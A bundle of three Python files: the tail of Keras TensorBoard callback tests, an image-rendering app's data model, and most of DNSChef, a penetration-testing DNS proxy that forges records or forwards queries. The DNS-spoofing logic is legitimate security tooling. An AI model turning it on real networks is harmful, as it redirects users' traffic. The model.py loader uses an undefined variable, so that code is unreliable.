callbacks=[tb_cbk]) with open(os.path.join(self.logdir, 'projector_config.pbtxt')) as f: self.assertEqual( f.readlines(), [ 'embeddings {\n', ' tensor_name: "test_embedding/.ATTRIBUTES/VARIABLE_VALUE"\n', ' metadata_path: "metadata.tsv"\n', '}\n']) def test_custom_summary(self): if not context.executing_eagerly(): self.skipTest('Custom summaries only supported in V2 code path.') def scalar_v2_mock(name, data, step=None): """A reimplementation of the scalar plugin to avoid circular deps.""" metadata = summary_pb2.SummaryMetadata() # Should match value in tensorboard/plugins/scalar/metadata.py. metadata.plugin_data.plugin_name = 'scalars' with summary_ops_v2.summary_scope( name, 'scalar_summary', values=[data, step]) as (tag, _): return summary_ops_v2.write( tag=tag, tensor=math_ops.cast(data, 'float32'), step=step, metadata=metadata) class LayerWithSummary(keras.layers.Layer): def call(self, x): scalar_v2_mock('custom_summary', math_ops.reduce_sum(x)) return x model = testing_utils.get_model_from_layers([LayerWithSummary()], input_shape=(5,), name='model') model.compile( 'sgd', 'mse', run_eagerly=testing_utils.should_run_eagerly()) tb_cbk = keras.callbacks.TensorBoard(self.logdir, update_freq=1) x, y = np.ones((10, 5)), np.ones((10, 5)) model.fit(x, y, batch_size=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.scalars, { _ObservedSummary(logdir=self.train_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.validation_dir, tag='epoch_loss'), _ObservedSummary(logdir=self.train_dir, tag='batch_loss'), _ObservedSummary( logdir=self.train_dir, tag='model/layer_with_summary/custom_summary'), _ObservedSummary( logdir=self.validation_dir, tag='model/layer_with_summary/custom_summary') }, ) def _strip_layer_names(self, summaries, model_type): """Deduplicate summary names modulo layer prefix. This removes the first slash-component of each tag name: for instance, "foo/bar/baz" becomes "bar/baz". Args: summaries: A `set` of `_ObservedSummary` values. model_type: The model type currently being tested. Returns: A new `set` of `_ObservedSummary` values with layer prefixes removed. """ result = set() for summary in summaries: if '/' not in summary.tag: raise ValueError('tag has no layer name: %r' % summary.tag) start_from = 2 if 'subclass' in model_type else 1 new_tag = '/'.join(summary.tag.split('/')[start_from:]) result.add(summary._replace(tag=new_tag)) return result def test_TensorBoard_invalid_argument(self): with self.assertRaisesRegexp(ValueError, 'Unrecognized arguments'): keras.callbacks.TensorBoard(wwrite_images=True) def test_TensorBoard_non_blocking(self): model = keras.Sequential([keras.layers.Dense(1)]) tb = keras.callbacks.TensorBoard(self.logdir) self.assertTrue(tb._supports_tf_logs) cb_list = keras.callbacks.CallbackList([tb], model=model, epochs=1, steps=100, verbose=0) tensor = ops.convert_to_tensor(1.) def mock_numpy(): raise RuntimeError( 'If this error is seen, TensorBoard is causing a blocking ' 'NumPy conversion.') with test.mock.patch.object(tensor, 'numpy', mock_numpy): logs = {'metric': tensor} cb_list.on_train_begin(logs) cb_list.on_epoch_begin(0, logs) cb_list.on_train_batch_begin(0, logs) cb_list.on_train_batch_end(0, logs) cb_list.on_epoch_end(0, logs) cb_list.on_train_end(logs) cb_list.on_test_begin(logs) cb_list.on_test_batch_begin(0, logs) cb_list.on_test_batch_end(0, logs) cb_list.on_test_end(logs) cb_list.on_predict_begin(logs) cb_list.on_predict_batch_begin(logs) cb_list.on_predict_batch_end(logs) cb_list.on_predict_end(logs) # Note that this test specifies model_type explicitly. @keras_parameterized.run_all_keras_modes(always_skip_v1=True) class TestTensorBoardV2NonParameterizedTest(keras_parameterized.TestCase): def setUp(self): super(TestTensorBoardV2NonParameterizedTest, self).setUp() self.logdir = os.path.join(self.get_temp_dir(), 'tb') self.train_dir = os.path.join(self.logdir, 'train') self.validation_dir = os.path.join(self.logdir, 'validation') def _get_seq_model(self): model = keras.models.Sequential([ keras.layers.Conv2D(8, (3, 3), input_shape=(10, 10, 1)), keras.layers.Flatten(), keras.layers.Dense(1), ]) opt = gradient_descent.SGD(learning_rate=0.001) model.compile( opt, 'mse', run_eagerly=testing_utils.should_run_eagerly()) return model def _count_trace_file(self, logdir): profile_dir = os.path.join(logdir, 'plugins', 'profile') count = 0 for (dirpath, dirnames, filenames) in os.walk(profile_dir): del dirpath # unused del dirnames # unused for filename in filenames: if filename.endswith('.trace.json.gz'): count += 1 return count def fitModelAndAssertKerasModelWritten(self, model): x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard(self.logdir, write_graph=True, profile_batch=0) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.tensors, { _ObservedSummary(logdir=self.train_dir, tag='keras'), }, ) def test_TensorBoard_writeSequentialModel_noInputShape(self): model = keras.models.Sequential([ keras.layers.Conv2D(8, (3, 3)), keras.layers.Flatten(), keras.layers.Dense(1), ]) model.compile('sgd', 'mse', run_eagerly=False) self.fitModelAndAssertKerasModelWritten(model) def test_TensorBoard_writeSequentialModel_withInputShape(self): model = keras.models.Sequential([ keras.layers.Conv2D(8, (3, 3), input_shape=(10, 10, 1)), keras.layers.Flatten(), keras.layers.Dense(1), ]) model.compile('sgd', 'mse', run_eagerly=False) self.fitModelAndAssertKerasModelWritten(model) def test_TensoriBoard_writeModel(self): inputs = keras.layers.Input([10, 10, 1]) x = keras.layers.Conv2D(8, (3, 3), activation='relu')(inputs) x = keras.layers.Flatten()(x) x = keras.layers.Dense(1)(x) model = keras.models.Model(inputs=inputs, outputs=[x]) model.compile('sgd', 'mse', run_eagerly=False) self.fitModelAndAssertKerasModelWritten(model) def test_TensorBoard_autoTrace(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch=1, write_graph=False) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.tensors, { _ObservedSummary(logdir=self.train_dir, tag=u'batch_1'), }, ) self.assertEqual(1, self._count_trace_file(logdir=self.train_dir)) def test_TensorBoard_autoTrace_tagNameWithBatchNum(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch=2, write_graph=False) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.tensors, { _ObservedSummary(logdir=self.train_dir, tag=u'batch_2'), }, ) self.assertEqual(1, self._count_trace_file(logdir=self.train_dir)) def test_TensorBoard_autoTrace_profileBatchRangeSingle(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='2,2', write_graph=False) model.fit( x, y, batch_size=3, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.tensors, { # Trace will be logged once at the batch it stops profiling. _ObservedSummary(logdir=self.train_dir, tag=u'batch_2'), }, ) self.assertEqual(1, self._count_trace_file(logdir=self.train_dir)) def test_TensorBoard_autoTrace_profileBatchRangeTwice(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='10,10', write_graph=False) model.fit( x, y, batch_size=3, epochs=10, validation_data=(x, y), callbacks=[tb_cbk]) time.sleep(1) # Avoids the second profile over-writing the first. model.fit( x, y, batch_size=3, epochs=10, validation_data=(x, y), callbacks=[tb_cbk]) self.assertEqual(2, self._count_trace_file(logdir=self.train_dir)) # Test case that replicates a Github issue. # https://github.com/tensorflow/tensorflow/issues/37543 def test_TensorBoard_autoTrace_profileTwiceGraphMode(self): ops.disable_eager_execution() inp = keras.Input((1,)) out = keras.layers.Dense(units=1)(inp) model = keras.Model(inp, out) model.compile(gradient_descent.SGD(1), 'mse') logdir = os.path.join(self.get_temp_dir(), 'tb1') model.fit( np.zeros((64, 1)), np.zeros((64, 1)), batch_size=32, callbacks=[keras.callbacks.TensorBoard(logdir, profile_batch=1)], ) # Verifies trace exists in the first logdir. self.assertEqual(1, self._count_trace_file(logdir=logdir)) logdir = os.path.join(self.get_temp_dir(), 'tb2') model.fit( np.zeros((64, 1)), np.zeros((64, 1)), batch_size=32, callbacks=[keras.callbacks.TensorBoard(logdir, profile_batch=2)], ) # Verifies trace exists in the second logdir. self.assertEqual(1, self._count_trace_file(logdir=logdir)) def test_TensorBoard_autoTrace_profileBatchRange(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='1,3', write_graph=False) model.fit( x, y, batch_size=4, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) self.assertEqual( summary_file.tensors, { # Trace will be logged once at the batch it stops profiling. _ObservedSummary(logdir=self.train_dir, tag=u'batch_3'), }, ) self.assertEqual(1, self._count_trace_file(logdir=self.train_dir)) def test_TensorBoard_autoTrace_profileInvalidBatchRange(self): with self.assertRaises(ValueError): keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='-1,3', write_graph=False) with self.assertRaises(ValueError): keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='1,None', write_graph=False) with self.assertRaises(ValueError): keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch='6,5', write_graph=False) with self.assertRaises(ValueError): keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch=-1, write_graph=False) def test_TensorBoard_autoTrace_profile_batch_largerThanBatchCount(self): model = self._get_seq_model() x, y = np.ones((10, 10, 10, 1)), np.ones((10, 1)) tb_cbk = keras.callbacks.TensorBoard( self.logdir, histogram_freq=1, profile_batch=10000, write_graph=False) model.fit( x, y, batch_size=2, epochs=2, validation_data=(x, y), callbacks=[tb_cbk]) summary_file = list_summaries(self.logdir) # Enabled trace only on the 10000th batch, thus it should be empty. self.assertEmpty(summary_file.tensors) self.assertEqual(0, self._count_trace_file(logdir=self.train_dir)) class MostRecentlyModifiedFileMatchingPatternTest(test.TestCase): def test_get_most_recently_modified_file_matching_pattern(self): file_pattern = 'f.batch{batch:02d}epoch{epoch:02d}.h5' test_dir = self.get_temp_dir() path_pattern = os.path.join(test_dir, file_pattern) file_paths = [ os.path.join(test_dir, file_name) for file_name in ['f.batch03epoch02.h5', 'f.batch02epoch02.h5', 'f.batch01epoch01.h5'] ] for file_path in file_paths: with open(file_path, 'w') as f: # Ensure there are some intervals between file creation. time.sleep(2) f.write('foo bar') # Ensure the files have been actually written. self.assertEqual( set([ os.path.join(test_dir, file_name) for file_name in os.listdir(test_dir) ]), set(file_paths)) self.assertEqual( keras.callbacks.ModelCheckpoint(None) ._get_most_recently_modified_file_matching_pattern(path_pattern), file_paths[-1]) def test_some_file_not_matching_pattern(self): file_pattern = 'f.batch{batch:02d}epoch{epoch:02d}.h5' test_dir = self.get_temp_dir() path_pattern = os.path.join(test_dir, file_pattern) file_paths = [ os.path.join(test_dir, file_name) for file_name in ['f.batch03epoch02.h5', 'f.batch02epoch02.h5', 'f.baatch01epoch01.h5'] ] for file_path in file_paths: with open(file_path, 'w') as f: # Ensure there are some intervals between file creation. time.sleep(2) f.write('foo bar') self.assertEqual( keras.callbacks.ModelCheckpoint(None) ._get_most_recently_modified_file_matching_pattern(path_pattern), file_paths[-2]) def test_get_same_file_if_file_name_equals_pattern(self): file_name = 'f.batch02.h5' test_dir = self.get_temp_dir() file_path = os.path.join(test_dir, file_name) with open(file_path, 'w') as f: f.write('foo bar') self.assertEqual(os.path.join(test_dir, os.listdir(test_dir)[0]), file_path) self.assertEqual( keras.callbacks.ModelCheckpoint( None)._get_most_recently_modified_file_matching_pattern(file_path), file_path) def test_get_none_if_file_does_not_exist(self): file_name = 'f.batch02.h5' test_dir = self.get_temp_dir() file_path = os.path.join(test_dir, file_name) self.assertLen(os.listdir(test_dir), 0) self.assertEqual( keras.callbacks.ModelCheckpoint( None)._get_most_recently_modified_file_matching_pattern(file_path), None) def test_using_checkpoint_management_latest_checkpoint(self): file_pattern = 'f.batch{batch:02d}epoch{epoch:02d}' ckpt_file_name = 'f.batchXepochY' test_dir = self.get_temp_dir() path_pattern = os.path.join(test_dir, file_pattern) ckpt_file_path = os.path.join(test_dir, ckpt_file_name) with open(ckpt_file_path, 'w') as f: f.write('dummy ckpt') checkpoint_management.update_checkpoint_state_internal( test_dir, ckpt_file_path) file_paths = [ os.path.join(test_dir, file_name) for file_name in ['f.batch03epoch02', 'f.batch02epoch02'] ] for file_path in file_paths: with open(file_path, 'w') as f: f.write('foo bar') # The result returned from checkpoint_management.latest_checkpoint takes # priority, so even if it was written earlier, we should still return that. self.assertEqual( keras.callbacks.ModelCheckpoint(None) ._get_most_recently_modified_file_matching_pattern(path_pattern), ckpt_file_path) if __name__ == '__main__': test.main()
model.py
# ------------------------------------------------------------------------------ # File: model.py # Author: Jan Kukacka # Date: 3/2021 # ------------------------------------------------------------------------------ # Application data model component # ------------------------------------------------------------------------------ import numpy as np import traceback import happy as hp from matplotlib.colors import PowerNorm, to_hex from multiprocessing import Process, Queue from queue import Empty from PIL import ImageTk, Image try: from .ObservableCollections.observablelist import ObservableList from .ObservableCollections.observabledict import ObservableDict from .ObservableCollections.observable import Observable from .ObservableCollections.event import Event from .renderer import render except ImportError: from ObservableCollections.observablelist import ObservableList from ObservableCollections.observabledict import ObservableDict from ObservableCollections.observable import Observable from ObservableCollections.event import Event from renderer import render class Model(Observable): ''' Data model object ''' def __init__(self, use_gpu=True, debug=False, drop_tasks=True): Observable.__init__(self) ## Setup image rendering process self.rendering_queue = Queue() self.rendered_queue = Queue() self.rendering_process = Process(target=render, args=(self.rendering_queue, self.rendered_queue, use_gpu, debug, drop_tasks)) ## Setup IO process self.io_task_queue = Queue() self.io_response_queue = Queue() self.io_process = Process(target=reader, args=(self.io_task_queue, self.io_response_queue)) self.n_io_pending = 0 self._filename = None self._image = None self._color_space = 'RGB' self._render = None self.suspend_render = False # self.histograms = None # self.responses = None self.response_images = None self.channel_props = ObservableList() self.channel_props.attach(lambda e, self=self: self.raiseEvent('propertyChanged', propertyName='channel_props', child=e)) self.channel_prop_clipboard = None imoptions = { 'use_unsharp_mask': True, 'unsharp_mask_radius': 0.5, 'unsharp_mask_amount': 1.0, 'wavelength': 10, 'wavelength_median': 5 } self.imoptions = ObservableDict(imoptions) self.imoptions.attach(lambda x, self=self: self.raiseEvent('propertyChanged', propertyName='imoptions')) self.imoptions.attach(self.update_render) self.special_options = { ## Allows to selectively switch off unsharp mask for channel 2 'no_sharpening_channel_2': False } def __enter__(self): self.rendering_process.start() self.io_process.start() return self def __exit__(self, type, value, traceback): ## Send termination signals self.rendering_queue.put(None) self.io_task_queue.put(None) ## Empty the result queues render = 1 while render is not None: render = self.rendered_queue.get() if render is not None: self.render = render[0] io_response = 1 while io_response is not None: io_response = self.io_response_queue.get() ## Join processes self.rendering_process.join() self.io_process.join() @property def filename(self): return self._filename @filename.setter def filename(self, val): if val is not self._filename: self._filename = val self.raiseEvent('propertyChanged', propertyName='filename') self.load_image() # image = # self.update_image(image) @property def image(self): return self._image @image.setter def image(self, val): if val is not self._image: self._image = val self.raiseEvent('propertyChanged', propertyName='image') e = Event('propertyChanged', self) e.propertyName = 'image' self.update_render(e) @property def color_space(self): return self._color_space @color_space.setter def color_space(self, val): if val is not self._color_space: self._color_space = val self.raiseEvent('propertyChanged', propertyName='color_space') self.update_cmap() @property def render(self): return self._render @render.setter def render(self, val): self._render = val self.raiseEvent('propertyChanged', propertyName='render') def load_image(self, event=None): task = {'type': 'load_image', 'filename':self.filename} self.io_task_queue.put(task) self.n_io_pending += 1 self.raiseEvent('ioTask') def update_image(self, image): ''' Used to update the image and reload channels ''' self.suspend_render = True self.image = image self.update_channels() self.suspend_render = False e = Event('propertyChanged', self) e.propertyName = 'image' self.update_render(e) def update_channels(self): ## Clear old channel props while len(self.channel_props) > 0: del self.channel_props[0] n_channels = self.image.shape[2] for channel in range(n_channels): channel_property = {} channel_property['name'] = f'Channel {channel}' channel_property['use_local_contrast'] = True channel_property['local_contrast_neighborhood'] = 31 channel_property['local_contrast_cut_off'] = 80 channel_property['use_gamma'] = True channel_property['gamma'] = 1 channel_property['use_sigmoid'] = True channel_property['sigmoid_low'] = 0 channel_property['sigmoid_high'] = 100 channel_property['sigmoid_new_low'] = 49 channel_property['sigmoid_new_high'] = 51 channel_property['color'] = '#ffffff' channel_property['visible'] = True channel_property = ObservableDict(channel_property) channel_property.attach(lambda x, self=self: self.raiseEvent('propertyChanged', propertyName='channel_props')) channel_property.attach(self.update_render) self.channel_props.append(channel_property) def check_for_render(self): try: # render, self.histograms, self.responses = self.rendered_queue.get_nowait() render, self.response_images = self.rendered_queue.get_nowait() self.render = render except Empty as e: pass def check_for_io(self): try: response = self.io_response_queue.get_nowait() self.n_io_pending -= 1 if response['type'] == 'load_image': self.update_image(response['image']) except Empty as e: pass def update_render(self, event=None): ## Check we have all images if self.image is None: return ## Check render is not suspended if self.suspend_render: return render_task = {} render_task['channel_properties'] = [dict(channel_property) for channel_property in self.channel_props] render_task['imoptions'] = dict(self.imoptions) render_task['special_options'] = self.special_options ## If image has changed, pass it to the rendering thread too if event is not None and event.action == 'propertyChanged' and event.propertyName == 'image': render_task['image'] = self.image self.rendering_queue.put(render_task) def save(self): model_dict = {} model_dict['channel_props'] = [dict(cp) for cp in self.channel_props] return model_dict def load(self, model_dict): ## Suspend rendering while loading self.suspend_render = True for i, channel_property in enumerate(model_dict['channel_props']): if i >= len(self.channel_props): break for key, value in channel_property.items(): if key in self.channel_props[i]: self.channel_props[i][key] = value else: print(f'Config key {key} could not be loaded.') self.suspend_render = False self.update_render() def transpose_image(self): self.image = self.image.transpose(1,0,2) def autocolor(self): for i, channel_prop in enumerate(self.channel_props): channel_prop['color'] = str(to_hex(f'C{i%10}')) def copy_params(self, channel_index): self.channel_prop_clipboard = dict(self.channel_props[channel_index]) def paste_params(self, channel_index): if self.channel_prop_clipboard is None: return for key, value in self.channel_prop_clipboard.items(): if key not in ['name', 'color', 'visible']: self.channel_props[channel_index][key] = value def reader(input_queue, output_queue): while True: task = input_queue.get() ## Termination signal if task is None: # print('Exiting rendering thread') break try: response = {'type': task['type']} if task['type'] == 'load_image': filename = task['filename'] response['image'] = load_image_internal(filename) # except Exception: # print('Error loading image') # response['image'] = None output_queue.put(response) except Exception as e: track = traceback.format_exc() print('Error in IO Thread:') print(track) response['exception'] = True output_queue.put(response) ## Signal finish of the rendered queue before quitting - it needs to be emptied output_queue.put(None) def load_image_internal(filename): image = hp.io.load(filename) ## Handle MAT files: try: keys = [k for k in image.keys() if 'rec' in k] if len(keys) == 1: image = image[key] else: print('Could not load image (ambiguous keys)') except Exception: pass if image.ndim == 2: image = image[...,None] return image
dnschef.py
#!/usr/bin/env python3 # # DNSChef is a highly configurable DNS Proxy for Penetration Testers # and Malware Analysts. Please visit http://thesprawl.org/projects/dnschef/ # for the latest version and documentation. Please forward all issues and # concerns to iphelix [at] thesprawl.org. DNSCHEF_VERSION = "0.4" # Copyright (C) 2019 Peter Kacherginsky, Marcello Salvati # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from argparse import ArgumentParser from configparser import ConfigParser from dnslib import * from ipaddress import ip_address import logging import threading import random import operator import socketserver import socket import sys import os import binascii import string import base64 from custom import customResp class DNSChefFormatter(logging.Formatter): FORMATS = { logging.ERROR: "(%(asctime)s) [!] %(msg)s", logging.INFO: "(%(asctime)s) [*] %(msg)s", logging.WARNING: "WARNING: %(msg)s", logging.DEBUG: "DBG: %(module)s: %(lineno)d: %(msg)s", "DEFAULT": "%(asctime)s - %(msg)s" } def format(self, record): format_orig = self._style._fmt self._style._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']) result = logging.Formatter.format(self, record) self._style._fmt = format_orig return result log = logging.getLogger("dnschef") log.setLevel(logging.DEBUG) log_ch = logging.StreamHandler() log_ch.setLevel(logging.INFO) log_ch.setFormatter(DNSChefFormatter(datefmt="%H:%M:%S")) log.addHandler(log_ch) # DNSHandler Mixin. The class contains generic functions to parse DNS requests and # calculate an appropriate response based on user parameters. class DNSHandler(): def parse(self, data): response = "" try: # Parse data as DNS d = DNSRecord.parse(data) except Exception: log.error(f"{self.client_address[0]}: ERROR: invalid DNS request") else: # Only Process DNS Queries if QR[d.header.qr] == "QUERY": # Gather query parameters # NOTE: Do not lowercase qname here, because we want to see # any case request weirdness in the logs. qname = str(d.q.qname) # Chop off the last period if qname[-1] == '.': qname = qname[:-1] qtype = QTYPE[d.q.qtype] # Find all matching fake DNS records for the query name or get False fake_records = dict() for record in self.server.nametodns: fake_records[record] = self.findnametodns(qname, self.server.nametodns[record]) fake_records.update(customResp(qname)) # Check if there is a fake record for the current request qtype if qtype in fake_records and fake_records[qtype]: fake_record = fake_records[qtype] # Create a custom response to the query response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap, qr=1, aa=1, ra=1), q=d.q) log.info(f"{self.client_address[0]}: cooking the response of type '{qtype}' for {qname} to {fake_record}") # IPv6 needs additional work before inclusion: if qtype == "AAAA": ipv6_hex_tuple = list(map(int, ip_address(fake_record).packed)) response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](ipv6_hex_tuple))) elif qtype == "SOA": mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) # dnslib doesn't like trailing dots if mname[-1] == ".": mname = mname[:-1] if rname[-1] == ".": rname = rname[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) elif qtype == "NAPTR": order,preference,flags,service,regexp,replacement = list(map(lambda x: x.encode(), fake_record.split(" "))) order = int(order) preference = int(preference) # dnslib doesn't like trailing dots if replacement[-1] == ".": replacement = replacement[:-1] response.add_answer( RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,DNSLabel(replacement))) ) elif qtype == "SRV": priority, weight, port, target = fake_record.split(" ") priority = int(priority) weight = int(weight) port = int(port) if target[-1] == ".": target = target[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) elif qtype == "DNSKEY": flags, protocol, algorithm, key = fake_record.split(" ") flags = int(flags) protocol = int(protocol) algorithm = int(algorithm) key = base64.b64decode(("".join(key)).encode('ascii')) response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) elif qtype == "RRSIG": covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE algorithm = int(algorithm) labels = int(labels) orig_ttl = int(orig_ttl) sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) key_tag = int(key_tag) if name[-1] == '.': name = name[:-1] sig = base64.b64decode(("".join(sig)).encode('ascii')) response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig) )) else: # dnslib doesn't like trailing dots if fake_record[-1] == ".": fake_record = fake_record[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) response = response.pack() elif qtype == "*" and not None in list(fake_records.values()): log.info(f"{self.client_address[0]}: cooking the response of type 'ANY' for {qname} with all known fake records") response = DNSRecord(DNSHeader(id=d.header.id, bitmap=d.header.bitmap,qr=1, aa=1, ra=1), q=d.q) for qtype,fake_record in list(fake_records.items()): if fake_record: # NOTE: RDMAP is a dictionary map of qtype strings to handling classses # IPv6 needs additional work before inclusion: if qtype == "AAAA": fake_record = list(map(int, ip_address(fake_record).packed)) elif qtype == "SOA": mname,rname,t1,t2,t3,t4,t5 = fake_record.split(" ") times = tuple([int(t) for t in [t1,t2,t3,t4,t5]]) # dnslib doesn't like trailing dots if mname[-1] == ".": mname = mname[:-1] if rname[-1] == ".": rname = rname[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](mname,rname,times))) elif qtype == "NAPTR": order,preference,flags,service,regexp,replacement = fake_record.split(" ") order = int(order) preference = int(preference) # dnslib doesn't like trailing dots if replacement and replacement[-1] == ".": replacement = replacement[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](order,preference,flags,service,regexp,replacement))) elif qtype == "SRV": priority, weight, port, target = fake_record.split(" ") priority = int(priority) weight = int(weight) port = int(port) if target[-1] == ".": target = target[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](priority, weight, port, target) )) elif qtype == "DNSKEY": flags, protocol, algorithm, key = fake_record.split(" ") flags = int(flags) protocol = int(protocol) algorithm = int(algorithm) key = base64.b64decode(("".join(key)).encode('ascii')) response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](flags, protocol, algorithm, key) )) elif qtype == "RRSIG": covered, algorithm, labels, orig_ttl, sig_exp, sig_inc, key_tag, name, sig = fake_record.split(" ") covered = getattr(QTYPE,covered) # NOTE: Covered QTYPE algorithm = int(algorithm) labels = int(labels) orig_ttl = int(orig_ttl) sig_exp = int(time.mktime(time.strptime(sig_exp +'GMT',"%Y%m%d%H%M%S%Z"))) sig_inc = int(time.mktime(time.strptime(sig_inc +'GMT',"%Y%m%d%H%M%S%Z"))) key_tag = int(key_tag) if name[-1] == '.': name = name[:-1] sig = base64.b64decode(("".join(sig)).encode('ascii')) response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](covered, algorithm, labels,orig_ttl, sig_exp, sig_inc, key_tag, name, sig) )) else: # dnslib doesn't like trailing dots if fake_record[-1] == ".": fake_record = fake_record[:-1] response.add_answer(RR(qname, getattr(QTYPE,qtype), rdata=RDMAP[qtype](fake_record))) response = response.pack() # Proxy the request else: log.info(f"{self.client_address[0]}: proxying the response of type '{qtype}' for {qname}") nameserver_tuple = random.choice(self.server.nameservers).split('#') response = self.proxyrequest(data, *nameserver_tuple) return response # Find appropriate ip address to use for a queried name. The function can def findnametodns(self,qname,nametodns): # Make qname case insensitive qname = qname.lower() # Split and reverse qname into components for matching. qnamelist = qname.split('.') qnamelist.reverse() # HACK: It is important to search the nametodns dictionary before iterating it so that # global matching ['*.*.*.*.*.*.*.*.*.*'] will match last. Use sorting for that. for domain,host in sorted(iter(nametodns.items()), key=operator.itemgetter(1)): # NOTE: It is assumed that domain name was already lowercased # when it was loaded through --file, --fakedomains or --truedomains # don't want to waste time lowercasing domains on every request. # Split and reverse domain into components for matching domain = domain.split('.') domain.reverse() # Compare domains in reverse. for a, b in zip(qnamelist, domain): if a != b and b != "*": break else: # Could be a real IP or False if we are doing reverse matching with 'truedomains' return host else: return False # Obtain a response from a real DNS server. def proxyrequest(self, request, host, port="53", protocol="udp"): reply = None try: if self.server.ipv6: if protocol == "udp": sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) elif protocol == "tcp": sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) else: if protocol == "udp": sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) elif protocol == "tcp": sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3.0) # Send the proxy request to a randomly chosen DNS server if protocol == "udp": sock.sendto(request, (host, int(port))) reply = sock.recv(1024) sock.close() elif protocol == "tcp": sock.connect((host, int(port))) # Add length for the TCP request length = binascii.unhexlify("%04x" % len(request)) sock.sendall(length+request) # Strip length from the response reply = sock.recv(1024) reply = reply[2:] sock.close() except Exception as e: log.error(f"[!] Could not proxy request: {e}") else: return reply # UDP DNS Handler for incoming requests class UDPHandler(DNSHandler, socketserver.BaseRequestHandler): def handle(self): (data, socket) = self.request response = self.parse(data) if response: socket.sendto(response, self.client_address) # TCP DNS Handler for incoming requests class 